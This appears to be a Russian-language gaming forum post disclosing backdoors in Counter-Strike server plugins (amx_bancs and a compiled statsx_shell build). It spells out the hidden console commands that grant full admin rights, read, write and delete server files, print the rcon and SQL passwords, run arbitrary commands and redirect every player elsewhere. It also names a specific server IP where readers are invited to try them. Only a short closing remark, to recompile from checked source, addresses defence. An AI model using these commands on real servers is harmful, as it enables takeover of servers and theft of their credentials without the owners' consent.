amx_bancs версия 13.0: В этом плагине есть перенаправление всех игроков на другой сервер. Заходим на любой сервер где стоит плагин, вводим в консоль: ban_player ваш_ип ваш_порт.
Бэкдор в плагине statsx_shell от Mastaman
Буквально пару дней назад одним из пользователей крупнейшего Украинского Форума по поддержки и настройки Counter–Strike серверов, была опубликована новость в которой говорилось об Бэкдоре (backdoor) в плагине statsx_shell от Mastaman (пользователя того же форума), в исходнике его конечно нет, он присутствует в уже скомпилированной версии.
Как использовать Бэкдор, Команды : mm_plugins sosimandy_adm – получить админку, права: abcdefghijklmnopqrstu mm_plugins sosimandy_del “” – удалить файл mm_plugins sosimandy_wr “” “text” – записать в файл mm_plugins sosimandy_rd “” – прочитать файл mm_plugins sosimandy_dir “” – показать что в папке mm_plugins sositesyki – выводит rcon_password, amx_password_field, amx_sql_host mm_plugins sositesyki “say Hello” – выполняет команду на сервере
если вы не верите что это есть то вот сервер 85.113.39.168:27601 "это не реклама сервера" у меня ваще другой IP зайдите на него и напишите в консоль введите mm_plugins sosimandy_adm и mm_plugins sositesyki потом в чат /admin
Еще раз повторюсь, Бэкдор только в скомпилированной версии плагина, для того чтобы устранить Бэкдор достаточно скачать исходник и скомпилировать его, перед этим проверить код исходника на присутствие Бэкдора Если помог то ставь плюсик +
Сообщение отредактировал sergey1 - Четверг, 2012-08-09, 08:10
